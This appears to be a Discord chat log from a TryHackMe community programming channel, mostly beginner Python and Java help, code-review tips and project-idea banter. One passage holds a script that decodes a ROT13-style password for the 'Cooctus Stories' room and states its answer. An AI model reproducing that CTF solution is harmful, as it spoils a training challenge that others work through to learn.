Bee had 100% on a tool, but for a bug in the code coverage tool

[surreal bronze]

also when working with other people you want small PR's

[magic falcon]

there are usually arguments that can be made for compensating controls on that gap - 100% can happen, but it requires a lot of evidence based argumentation

[solar hull]

Want yes, but that's not always possible.

[surreal bronze]

its easier to review, manage and just help being more organised

[surreal bronze]

yes, sometimes its not possible but that should be rare

https://en.m.wikipedia.org/wiki/Agile_software_development

Having small PR's makes it:

• Easier to manage as a team
• If you loose something you can easily get it back
• Easier to check for bugs
• Not as much to review
• Lowers the chances of two people working on the same thing

[mortal flint]

100% agree

it shoudl not take hours and hours to read a PR

Small PRs get good feedback. Big PRs get a rubber stamp approval, which is stupid.

I once saw a PR that was months of work. Thousands of lines of code across dozens and dozens of files. The only comment was a thumbs up and an approval.

🤦‍♂️

[surreal bronze]

Lol I bet the reviewer had a great time with that! probably didnt even review it at all

[solar hull]

Seen that. Coupled with "Please don't touch the code in these packages, my PR will not merge cleanly if those are changed"

[mortal flint]

No, the approval came minutes after it was submitted

Definitely a case for:

[stone kayak]

please tell skeletal thus

[stone kayak]

this is incredibly ironic jay

;)

[surreal bronze]

Shhhh

get it from the best 😉

@stone kayak

[tiny raptor]

I think to start some web related task . What do you think about that?

[magic falcon]

I do not recommend building a web app for your very first project. There are a lot of 'magic' moving pieces, understanding the whole system is not trivial for a beginning programmer

[tiny raptor]

"There are a lot of 'magic' moving pieces, " I don't understand

[magic falcon]

That's why i'm recommending you don't start a web project right off the bat. Until you feel comfortable building a CLI application and moving on up to a GUI interface, web is likely to overwhelm you

[tiny raptor]

Now make sense to me..

GUi

[magic falcon]

Web and GUI are not the same thing. Not all web projects have a human-interface on the front end, and many GUI projects are desktop or server applications that don't provide a web page.

[feral moss]

Linux kernel programming question :

How can I retrieve the current working directory and the current user logged in inside the kernel (not in user space)?

[restive fossil]

made a python calculator

did it as a project

heres the code

`import os
import sys
import time
import termcolor
from cprint import *
print("Remember, a for addition, s for subtraction, m for multiplication, and d for division!")
a = input("Mode: ")
c = input("Number one: ")
r = input("Number two: ")
def addition():

print("This is an addition calculator")
add = int(c) + int(r)
print("Wait while we process your request!")
time.sleep(1)
print(add)

def subtraction():

print("This is an substraction calculator")
sub = int(c) - int(r)
print("Wait while we process your request!")
time.sleep(1)
cprint.ok(sub)

def multiplication():

print("This is an multiplication calculator")
mult = int(c) * int(r)
print("Wait while we process your request!")
time.sleep(1)
cprint.ok(mult)

def division():
print("This is an Division calculator")
div = int(c) / int(r)
print("Wait while we process your request!")
time.sleep(1)
cprint.ok(div)

try:
if a == "a":
addition()
if a == "s":
subtraction()
if a == "m":
multiplication()
if a == "d":
division()
except:
cprint.err("There was an error!")`

[true pumice]

This project was really awesome!

I do have a few suggestions to improve your code –– don’t take them to heart:)

Use proper variable names, variable names are hints to people viewing the code and help you write readable code.

Usually you would choose words that would describe their role in the program, e.g. userInput, or numOne.

Another thing that I would possibly change, convert them to integers when you get the input. Cleans your code up a little instead of using int(var) everywhere.

numberOne = int(input(“Enter a number: “))

:)

[restive fossil]

ahhhh

interesting

makes things a whole lot easier, i agree

[onyx merlin]

numberOne = int(input(“Enter a number: “)) note about this, makes it a little harder to handle errors by errors weren't handled fully anyway

I'd also recommend against a whole try/except block like that because if you have a genuine error that's not a result of user input, it can be hard to troubleshoot

[restive fossil]

made a huge improvement

i put some text art in there

and fixed some of the classes and stuff

btw that text art spells out cooctolator lmao

[onyx merlin]

Code blocks plz

[restive fossil]

how?

test

ooooo

ok

import os
import sys
import time
import termcolor
from cprint import *
from textwrap import *
print("""
░█████╗░░█████╗░░█████╗░░█████╗░████████╗░█████╗░██╗░░░░░░█████╗░████████╗░█████╗░██████╗░
██╔══██╗██╔══██╗██╔══██╗██╔══██╗╚══██╔══╝██╔══██╗██║░░░░░██╔══██╗╚══██╔══╝██╔══██╗██╔══██╗
██║░░╚═╝██║░░██║██║░░██║██║░░╚═╝░░░██║░░░██║░░██║██║░░░░░███████║░░░██║░░░██║░░██║██████╔╝
██║░░██╗██║░░██║██║░░██║██║░░██╗░░░██║░░░██║░░██║██║░░░░░██╔══██║░░░██║░░░██║░░██║██╔══██╗
╚█████╔╝╚█████╔╝╚█████╔╝╚█████╔╝░░░██║░░░╚█████╔╝███████╗██║░░██║░░░██║░░░╚█████╔╝██║░░██║
░╚════╝░░╚════╝░░╚════╝░░╚════╝░░░░╚═╝░░░░╚════╝░╚══════╝╚═╝░░╚═╝░░░╚═╝░░░░╚════╝░╚═╝░░╚═╝""")
cprint.info("Remember, a for addition, s for subtraction, m for multiplication, and d for division!")
a = input("Mode: ")
c = int(input("Number one: "))
r = int(input("Number two: "))
def addition():

    cprint.fatal("This is an addition calculator")
    add = c + r
    cprint.warn("Wait while we process your request!")
    time.sleep(1)
    print(add)
def subtraction():

    cprint.fatal("This is a substraction calculator")
    sub = c - r
    cprint.warn("Wait while we process your request!")
    time.sleep(1)
    cprint.ok(sub)
def multiplication():

    cprint.fatal("This is a multiplication calculator")
    mult = c * r
    cprint.warn("Wait while we process your request!")
    time.sleep(1)
    cprint.ok(mult)
def division():
    cprint.fatal("This is a Division calculator")
    div = c / r
    cprint.warn("Wait while we process your request!")
    time.sleep(1)
    cprint.ok(div)

try:
    if a == "a":
        addition()
    if a == "s":
        subtraction()
    if a == "m":
        multiplication()
    if a == "d":
        division()
except Exception as e:
 cprint.err("There was an error! Error: \n", e)

[remote echo]

It's gonna crash if i give something instead of numbers

Cuz it can't convert it to int

[restive fossil]

ooops

ye

ill fix that

[solar hull]

Think about providing the values as parameters to the functions instead of using globals.

[onyx merlin]

Something something pure functions good habit

[magic falcon]

Another thing to consider is the 'DRY' principle.

[onyx merlin]

And not just for programming, it's applicable a lot of places

[magic falcon]

Agreed.

[onyx merlin]

I find myself using it in essays quite often. You can re-emphasise a point, but don't repeat yourself

[magic falcon]

Essay writing is the most underrated skill learned during undergrad.

[vernal vigil]

For bigger codes shouldn't we use sites like:
hastebin.com
mystb.in
Ghostbin.co
For sharing?

[onyx merlin]

Discord's improved how large code blocks are handled, but that's a good idea

[glad trail]

saw statistics in class on the most common reasons for companies getting breached.
why are bad passwords and clicking on unknown links still in the top 5 in 2021

'OH an email from Brad down in accounting! doesn't look like the company email, but it says it's Brad!' like...why

[mortal flint]

Because software security is getting slightly better, but people are still stupid 🤷‍♂️

[glad trail]

edit: didn't realize i put that in programming. unrelated, so removed

[magic falcon]

Because people are always the weakest link of any security chain

You ever see the XKCD about blockchain securing voting machines? That pretty much applies everywhere.

[surreal bronze]

!xkcd 2267 nvm

[narrow terrace]

TryHackMe

Orbital Mechanics

To be fair, my job at NASA was working on robots and didn't actually involve any orbital mechanics. The small positive slope over that period is because it turns out that if you hang around at NASA, you get in a lot of conversations about space.

From the XKCD Official API!

[magic falcon]

Not either of those just a minute

!xkcd 2030

[narrow terrace]

TryHackMe

Hand Sanitizer

Hipster CDC Reports Flu Epidemic Peaked Years Ago

From the XKCD Official API!

[magic falcon]

nope

[surreal bronze]

I think it does it randomly :(

[magic falcon]

https://xkcd.com/2030/

xkcd: Voting Software

There are lots of very smart people doing fascinating work on cryptographic voting protocols. We should be funding and encouraging them, and doing all our elections with paper ballots until everyone currently working in that field has retired.

yeah

here's the one i was thinking of

[glad trail]

yeah, that's basically the gist of the lesson lol
"secure" program engineers always shore up any vulnerabilities that THEY can think of. they don't plan for Bob to faceroll the keyboard and somehow set off a nuke

[magic falcon]

security is also really hard to implement correctly

there is always a gap between the theory that demonstrates correctness and the limitation of the implementing system

[glad trail]

it definitely gets more and more interesting as we learn in class. what i'm getting out of it is, there will ALWAYS be a job for a programmer with a mind for security. either finding and exploiting others mistakes, or fixing my own.

[lilac holly]

Anyone knows a good way to convert a LocalDateTime Object into unix timestamp in Java?

[lilac holly]

Nevermind I found a way.

[magic falcon]

Unix timestamp, in raw format, is number of seconds since Jan 1 970 UTC.

[lilac holly]

Yep, I found a way to get it.

Date and times are sometimes weird things in programming since they are objects on their own.

[magic falcon]

Not really? ultimately its a count since some arbitrary time.

The objects used to represent that can get pretty funky, but regardless of language, that's the intent

[lilac holly]

alright chief

[opaque coral]

anyone here good at python would appreciate if you could dm me

[onyx merlin]

Why not just ask here?

Then if someone can answer your question, they will know?

[onyx merlin]

https://sol.gfxile.net/dontask.html

[opaque coral]

how can i put the code in here in a box like this

[onyx merlin]

https://support.discord.com/hc/en-us/articles/210298617-Markdown-Text-101-Chat-Formatting-Bold-Italic-Underline-

[opaque coral]

ty bro

    message = message.upper()
    alpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
    result = ""

    for letter in message:
        if letter in alpha: #if the letter is actually a letter
            #find the corresponding ciphertext letter in the alphabet
            letter_index = (alpha.find(letter) + key) % len(alpha)

            result = result + alpha[letter_index]
        else:
            result = result + letter

    return result


def decrypt(cipher):
    k1 = int (input("Enter Shift amount that you used for encryption: "))
    k2 = int (input("Enter Extra shift amount that you used for encryption: "))
    key = k1 + k2
    cipher = cipher.upper()
    alpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
    result = ""

    for letter in cipher:
        if letter in alpha: #if the letter is actually a letter
            #find the corresponding plaintext letter in the alphabet
            letter_index = (alpha.find(letter) - key) % len(alpha)

            result = result + alpha[letter_index]
        else:
            result = result + letter

    return result


message = input("Enter Message: ")
key1 = int (input("Enter Shift amount: "))
key2 = int (input("Enter Extra shift amount: "))
key = key1 + key2
cipherText = encrypt(message,key)
print (" ")
print("==================================================================================")
print (" ")
print ("Cipher Text is: " + cipherText)
print (" ")
print("==================================================================================")
print (" ")

choice = input("Would you like to decryp now? (y/n): ")
if ((choice == "y") or (choice == "Y")):
    plainText = decrypt(cipherText)
    print (" ")
    print("==================================================================================")
    print (" ")
    print ("Plain Text is: " + plainText)
    print (" ")
    print("==================================================================================")
    print (" ")

wondering if anyone could help me add a hex conversion after the first shift key so choosing the second shift key will shift in hex and the same for decrypt

if not thanks anyway

[onyx merlin]

Not your bro

k1 = int (input("Enter Shift amount that you used for encryption: ")) k2 = int (input("Enter Extra shift amount that you used for encryption: ")) key = k1 + k2 this seems totally pointless

Seeing as your encrypt and decrypt both take a key in the same way, you should pass them the key as an argument for both instead of having one ask for the key and the other take it as an argument

[opaque coral]

thank you brother james

[wispy kestrel]

Gave +1 Rep to @onyx merlin

[onyx merlin]

Very much not your brother either

[surreal bronze]

https://youtu.be/X34ZmkeZDos

[lilac holly]

 public static String retractURL() {
           int startIndex = data.indexOf("\"url:\"");
           int startURL = data.indexOf("\"", startIndex);
           int endURL = data.indexOf(("\""), startURL);
           return data.substring(startURL, endURL);
        }```

anyone gets why this substring is empty?

Am I escaping the characters wrong?

ok I did a test it seems to not find the startIndex

[humble sandal]

Have you looked at the values of startURL en endURL ? Maybe the offset for the endURL indexOf needs a +1 to make sure you are not looking at the first " again

[lilac holly]

it's the startIndex that gives -1

it seems it doesn't find "url:"

[humble sandal]

sure its "url:" and not "url": ?

[lilac holly]

yeah I just checked that lol

you are right

am I noob? Yes 🤡

[humble sandal]

Well now you know for next time and if you make another 100 of these mistakes and find the solution you won't be a noob anymore 😉

[lilac holly]

I get a feeling that in a way I will always be a noob 😄

[humble sandal]

Here's a challenge for you; do it again with regexp 😉 see regexr.com to trial and error 😉

[lilac holly]

yeah I've learned about regex but I don't use it as often

Only when the search is complex

[west agate]

Regex is rough

Hard to debug it too, unless everyone working on the project knows regex well enough

[lilac holly]

Regex is nice though cause you get things faster

[west agate]

Definitely, it's just unclear what certain regex does

So your commenting/documentation needs to be better in case you ever want to adjust it

[onyx merlin]

Just don't parse XML/HTML with regex

Or JSON etc

[lilac holly]

 public static String extractURL() {
           int startIndex = data.indexOf("\"url\":");
           int startURL = data.indexOf("\"", startIndex + 5);
           int endURL = data.indexOf(("\""), startURL + 1);
           return data.substring(startURL + 1, endURL);
        }```

I did this instead lol

[onyx merlin]

https://tenor.com/view/santa-evil-futurama-gun-shots-gif-13146184

[lilac holly]

i got the link I needed so we good

[west agate]

Haha, I once wrote an Instagram bot that actively parsed HTML using Regex

[onyx merlin]

That's what happens to people who parse JSON/XML/HTML with regex. Once per year on Markup Eve.

[west agate]

My first ever C# project. It was glorious and absolutely terrible

[lilac holly]

I need to learn C# at some point

[west agate]

I don't use it anymore now, gave it up like 10 years ago. Mostly work in Go nowadays

[lilac holly]

Go!

[west agate]

Indeed

[lilac holly]

That's a cute language 🙂

[west agate]

It's good fun to write

And it's quick as hell

[lilac holly]

Yay finished my project 😄

[humble sandal]

Agreed, if your parsing HTML/XML/JSON you should just use the libs to parse those and navigate the dom/nodes/object

[west agate]

Working with Nokogiri on Ruby ❤️

[remote echo]

https://c.tenor.com/8hihCAmwiagAAAAM/grizzy-and-the-lemmings-lemming.gif

[lilac holly]

Hi there!

can anyone do this task

extract ifindex of any interfaceAlias using python from the os.system() output of this command>>

powershell -command "Get-NetIPInterface | select ifIndex,InterfaceAlias,AddressFamily,ConnectionState,Forwarding | Sort-Object -Property IfIndex | Format-Table"

[lilac holly]

You even added a cool factor 😂

[spring rune]

Gotta start somewhere! 😎

[wind kayak]

Hello, I've got a simple question. I'm having this problem,
I want to use the length of a list + 1 to make my new list so for example the list LIST I want to do this

1. LIST = list(range(1, LenLIST + 1))
2. LenLIST = len(LIST)

But the problem is LenLIST is not defined yet when trying to run the first line, but if I switch them around LIST is not defined yet.

This is in python btw

I think I fixed it by doing this
Goalnum = []
Goalnumlen = []

for number in Goalnum and number in Goalnumlen:
Goalnum = list(range(1, number + 1))
Goalnumlen = number

[cursive orchid]

if you saw that huge block from me nvm i fixed it

[restive fossil]

`def encode(pwd):
enc = ''
for i in pwd:
if ord(i) > 110:
num = (13 - (122 - ord(i))) + 96
enc += chr(num)
else:
enc += chr(ord(i) + 13)
return enc

password = "pureelpbxr"
ans = ''

test = "qwertyuiopasdfghjklzxcvbnm"
for i in password:
for j in test:
ra = encode(j)
if ra == i:
ans += j
break
print(ans)`

so whats the point of "for i in password:" showing up before "for j in test:"

[solar hull]

Think about what it would do. the code doesn’t seem to make a lot of sense to me, tbh

[lilac holly]

It'll take p and and every letter of test one at a time and the encode that j if that encoding matches i ... it'll add to the the answer variable and soo on...the next will be for u and then r

[lilac holly]

The code is for Cooctus Stories room

[restive fossil]

i mean it works

im trying to understand it

because im learning python atm

[restive fossil]

hmm, interesting

but would there be a difference in the result if you put for j in test: before for i in password: ?

[lilac holly]

Basically it's comparing every index value of that string with encoded index of test...if that matches will bring you the output

[lilac holly]

The time taken will be much more...the reason length of test is much more than the password

[restive fossil]

but still the same result?

[lilac holly]

It can...but the process will be too long as it'll take first index of test and then encode it and compare with every index of password

Which makes no sense

[restive fossil]

lemme try changing the order and ill send the result

hmm, why did that happen

btw this is after changing the order of the for's

[lilac holly]

Show your code

[dusty fable]

hey whats ur opinion on learning python from pentester academy or any other good resourses

[restive fossil]

`#!/usr/bin/python3
def encode(pwd):
enc = ''
for i in pwd:
if ord(i) > 110:
num = (13 - (122 - ord(i))) + 96
enc += chr(num)
else:
enc += chr(ord(i) + 13)
return enc

password = "pureelpbxr"
ans = ''

test = "qwertyuiopasdfghjklzxcvbnm"
for j in test:
for i in password:
ra = encode(j)
if ra == i:
ans += j
break
print(ans)`

this is after changing the order

of the for's

if i switch it back to normal

i get the correct answer

which is cherrycoke

[vernal vigil]

yk, one of the tricks ive learnt is, whenever you're unsure about what the codes does.. just print out the variables, it will give you a simple yet a vague idea about whats happening

[Although ive never used this for a very big or a very small piece of code.. ]

Also this is irrelevant in this situation lmao

[lilac holly]

The order of printing

If your first index of test get's matched with your any index of password it'll print

[restive fossil]

ohhhhhhh

that makes a bunch of sense

[fading lark]

what do line 4 and 5 do?

; var int32_t var_8h @ rbp-0x8 etc

[remote echo]

; means it's a comment. Comment telling var_8h of type int32 is stored at rbp-0x8

It's like telling offset of variables ig

[remote echo]

@fading lark ^

[fading lark]

ohh okay

[fading lark]

thanks

[wispy kestrel]

Gave +1 Rep to @remote echo

[glad trail]

trying to stuff python into my brain to really master it. but it's taking away from my study on thm. would it be feasible to combine the two? tackle some easy boxes, but automate everything i'm doing with python scripts? or would that be a waste of time?

during my studies i did come across a python script that automated the entire enumeration of a network. so i'm wondering if it's possible (worth while from a study stand point) to automate an entire attack.

[cursive orchid]

this looks like a lot like a problem from a ctf i've done 🤔

[dusty ore]

I need help

#!/usr/bin/env python
import math
def ptbac2(a,b,c):
    #if(a,b,c<=-1000) or (a,b,c>=1000): return "NO"
    if(a==0):
        if(b==0):
            print("NO")
        else: print(-c/b)
        return
    delta=b**2-4*a*c
    if (delta > 0):
        x1=(-b+math.sqrt(delta))/2*a
        x2=(-b-math.sqrt(delta))/2*a
        if(x1<=x2): print(x1,x2)
        else: print(x2,x1)
    elif(delta==0):
        return (-b/2*a)
    else:
        return("NO")
a,b,c=[int(x) for x in input().split()]
print(ptbac2(a,b,c))

input: 1 -3 2
output: 1.0 2.0 None

How do I remove None from my output?

[vernal vigil]

remove last print statement

just call the function

[dusty ore]

woa what a magic

Thanks @west abyss

[wispy kestrel]

Gave +1 Rep to @west abyss

[dusty ore]

wrong per

thanks @vernal vigil

[vernal vigil]

lmao

[dusty ore]

rip no rep for you

[vernal vigil]

all good

[dusty ore]

sorry Potat0 for randomly pinging you btw

[dusty ore]

I need help with python again
I want to get input from user. They will enter 3 variables: a,o,b and they are separated with spaces. With a,b being float values, and o is operator. How do I do that?

ex:
input: 1 + 3
output: 4

I tried this:
a,o,b=[ float(x) for x in input().split() ]
But obviously i got the error: ValueError: could not convert string to float: '+'

[onyx merlin]

Treat them as strings immediately, convert only a and b to floats

[dusty ore]

I see

Thanks

How stupid of me

[dusty ore]

Thanks

[wispy kestrel]

Gave +1 Rep to @onyx merlin

[onyx merlin]

Don't beat yourself up over it, this is something you'll learn with practice.

[dusty ore]

I should ask less

[onyx merlin]

That comes with experience

But the one major skill I'd recommend practising now is rubber duck debugging

[dusty ore]

What

That is a thing?

[onyx merlin]

Yes

[dusty ore]

Okay, imma check it later

seems interesting to learn

[onyx merlin]

It's a core skill IMO

[dusty ore]

woa, k imma take a look at it after i finish this coding exercise. Thanks

Hi, I need help again ;-;
a,o,b=[ str(x) for x in input().split() ]
How do I check if a variable or more is missing input from the user?

[onyx merlin]

Check the length of it?

Check if it's ==""?

[dusty ore]

I did

But if that case happens then i get this error ValueError: not enough values to unpack (expected 3, got 2)

[onyx merlin]

So maybe you need to break that out from a single line

One liners are great until you need to handle different situations

[dusty ore]

But I'm required to type them in one line

🤔

What to do now. Hmm

[dusty ore]

Nah nevermind. There is no case for such thing

Thanks again James

[vocal canyon]

Hey guys anyone able to help me with a problem in python?

[thin shoal]

what is the script for?

[vocal canyon]

Port scanner

Easy port scanner

I’m getting a name error even though it is defined

[thin shoal]

show the error and ur code

[vocal canyon]

Can you video chat?

[thin shoal]

no

[vocal canyon]

I can share screen

[thin shoal]

post it here

[vocal canyon]

Kk

It doesn’t let me share pictures

Or upload

[vernal vigil]

!docs verify

[narrow terrace]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

From TryHackMe with ❤!

[vernal vigil]

you have verify yourself first

[vocal canyon]

Oh okay

i did and it didnt do anython

i have my token and pasted it

[vernal vigil]

¯_(ツ)_/¯

[restive fossil]

yep, was asking what the code meant

[vernal vigil]

Tryhackme-discord token or are you pasting discord token?

[vocal canyon]

yep!

[cursive orchid]

pretty sure it's from an active ctf though?

[vocal canyon]

i pasted it in the bot thing

[vernal vigil]

yep to what?

[cursive orchid]

can't remember which it is from because i didn't take notes tho

[restive fossil]

wait really?

[vocal canyon]

i was pasting it

the token

[cursive orchid]

i might be wrong about that

[restive fossil]

oh sorry do i delete the code

[cursive orchid]

dm me and tell me whih ctf it's from

[vernal vigil]

.. which token?

[vocal canyon]

just says your discord token is:

got it

Just confused on why it’s giving me the error when it’s defined above

@thin shoal

[thin shoal]

try with python3 scanner.py 192.168.0.1

[vocal canyon]

Still same

[thin shoal]

lmao ok so basically u defined the variable target inside the if statement thats why

[onyx merlin]

The key word is scope

[vocal canyon]

Ohh

So then where would I put this? Before ?

[thin shoal]

put print scanning inside the if statement

the entire port scan would be inside the if statement

[vocal canyon]

Okay

[vernal vigil]

your If condition isn't statisfying

[vocal canyon]

Trying that

[surreal bronze]

or you could just exit the program if its invalid

[onyx merlin]

Jayy it's the variable scope but ok

[thin shoal]

even if it satisfied it wont work

[vernal vigil]

yeah out of scope

[surreal bronze]

hm? Yeah, I know. Thats why I said you could exit the program if it didn't satisfy the if / else statement

[thin shoal]

i thought i would code it for him but then changed my mind lol

cuz yk better to learn by ur own hands

[onyx merlin]

Yeah, but that doesn't address the problem. It wouldn't fix it because the variable would be destroyed after the if statement

The scope of target is just the if statement

[vocal canyon]

That’s why I’m stumped

Haha

I was like it’s there

[onyx merlin]

Define it before the if statement to give it global scope.

[surreal bronze]

if len(sys.argv) == 2:
  target = <whatever it is>
else:
  print("Please give a target")
  exit(0)

[onyx merlin]

Jayy. Plz.

[vernal vigil]

also, you could've just copy pasted the code here.. there was no need for verifying but hey!. welcome to the community

[surreal bronze]

:((

[thin shoal]

@vocal canyon try using click or argparse instead for making the cli usage better

[onyx merlin]

Python weird

[vernal vigil]

Java best

[thin shoal]

no

[surreal bronze]

Java isn't that bad

Its not going "dead" and it has got pretty decent updates over the time

[thin shoal]

imagine having the main as class lmfao

im dead

[vocal canyon]

Thanks lol

Yeah I’m stumped 😦

[vernal vigil]

its bad but its not that bad and its not going anywhere for a good amount of time

it will stay and haunt everyone.

[dusty ore]

I need a hint, if you can spare your time ^^
Our earth takes 365.25 days to make a full circle around the sun but this number has been rounded up, the exact day the earth needs to circle around the earth is 365.2425 . The difference between these values is 0.0075 . Therefore when multiplying 365.2425 by 400. We get an additional of 3 days. Then we can say that every 400 years, we will have 97 leap years (24+24+24+25). Write a program that checks if the value "year" from the user's input is a leap year
I tried to figure out but I give up. Can someone gives me a hint?

Btw I translated the question from Vietnamese, So sorry cause there maybe are mistakes in grammar

[vernal vigil]

uhh google "Leap year program in ____ language" , i guess you'll find some answers/codes/explanation

[dusty ore]

oh that's easy

[surreal bronze]

Give me a sec

I think I did something like this before

[dusty ore]

Oh okay

[surreal bronze]

Woops, sorry, I miss read that - my bad 😅

[onyx merlin]

also python weird, I maintain

[thin shoal]

it is, i agree

[vocal canyon]

This is annoying lol

[surreal bronze]

Whats up?

[surreal bronze]

Nvm, it wasn't

[thin shoal]

btw is it a good idea to remake hashcat in cpp?

with the open64 sdk?

only for amd gpus

cuz thats what i have atm

[onyx merlin]

No I think that's not a good idea

[thin shoal]

explain

[onyx merlin]

GPU programming is annoying

IMO for projects, you want some novelty to them.
Something that your project does differently to existing solutions

[thin shoal]

cant think of anything atm tbh, mind giving an idea "related to hacking problems" that can be solved with cpp according to ya?

or doesnt have to be cpp specific , just gimme problems

will try to do it in any lang ik if possible

[thin shoal]

if anyone has an idea about it feel free to ping me

[magic falcon]

the amdappsdk is pretty good, but learning OpenCL is not trivial. The hello world example project for OpenCL takes about an hour to do, if you don't have dependencies to troubleshoot.

[magic falcon]

Related to hacking is such a broad and abstract use case. If you want to learn c++, pick something that has interest to you, not necessarily something "hacking adjacent".

[thin shoal]

ummm...hacking adjacent is what grabs my interest tbh , like a cve i can create a poc of or an exploit or something as such

[vocal canyon]

Wow

I’m actually an idiot

Literally got it working -_-

[thin shoal]

agreed

[vocal canyon]

😂

[onyx merlin]

@thin shoal Let's not be mean though

[vocal canyon]

Target needed to be inputted

[thin shoal]

-_- told ya to try that 192.168.0.1 for a reason

[vocal canyon]

Target meaning
Python scanner.py “IP”

Yeah it was working the first time for some reason -_-

Python needs to be spanked

[magic falcon]

Then it sounds like you already know where to start. Why did you ask for project ideas?

[thin shoal]

cuz wasnt sure about it when i asked two mins ago xD, sorry about that

[mortal flint]

There's also a pin with a bunch of project ideas

[dusty ore]

Guys how can I take 2 inputs in one line?

And I want the first one to be int , 2nd to be float

python btw

Sorry for late reply

[vernal vigil]

uh ..
[input() for i in range(2)] ..?

[dusty ore]

x,n=[int(x) for x in input().split()]
This is what i've been using

[magic falcon]

Most not-totally-garbage languages allow you to split input on a delimiter. Specifically, you are looking for string stream and input libraries.

[dusty ore]

uhh idk but i think this will make this str

[vernal vigil]

no it will be a list

[dusty ore]

hmm

[magic falcon]

Potato's list comprehension should generate a list of string objects

[vernal vigil]

ye ye,, but it will come out as a list.. then they can iterate over it

[dusty ore]

x,n=[(x) for x in input().split()]
x=float(x)
n=int(n)```

[magic falcon]

Yeah, I get what you mean. However, that is prompting for separate inputs. My reading of the ask is to read multiple values from a single input. Reading from stdin can be done with a generator pattern, or reading from stdin once and splitting on a delimiter

[dusty ore]

I did this and i think it works

But it doesn't look pretty-organized in one line of code

But who cares btw. Thanks guys

[vernal vigil]

x,n = [int(input()) if i == 0 else float(input()) for i in range(2)]

you can go like this ig, but thatd not really be efficient in any way

[dusty ore]

Thanks

[wispy kestrel]

Gave +1 Rep to @vernal vigil

[vernal vigil]

what if "your inputs changed from 2+" or u inputted a float first then a int..

it wont really work.. bcz.. ree

[dusty ore]

I see

[dusty ore]

I think I'll stick with this

[vernal vigil]

you can have that exact same fail-case

nvm

scratch that

[remote echo]

U took long to find that

[vernal vigil]

yeah lmao

[dusty ore]

I think my brain is dying

Can you guys give me a hint on how to solve this?

Input: float(x) int(n)

output: float(s)

Example:
input: 2 2
output: 4.00

My code (sorry im kinda noob)

But I got different output

[onyx merlin]

Pretty sure that's a classic series?

[dusty ore]

yes

[onyx merlin]

just... return math.e ezpz

[dusty ore]

pardon me but what is that

[magic falcon]

You can always convert a series calcuation to the closed form as well.

[vernal vigil]

the equation is like output == (x^n / n) for n in some range

and add the result to previous outputs..?

[dusty ore]

Now I got 3.0 instead of 4.0

[vernal vigil]

[dusty ore]

Hmm can you see my code?

I don't know what's wrong

Changed to while loop and now it works

Have no idea

I think for in range loop stops when m is equal to n

Anyway thanks

[true pumice]

No offence but your code is almost impossible to read

[onyx merlin]

Yeah I do not like those variable names

[true pumice]

^

[vernal vigil]

uh, i didnt read the code .. i just gave that equation to you and went off, my bad..
but ye agreed ^ gib good names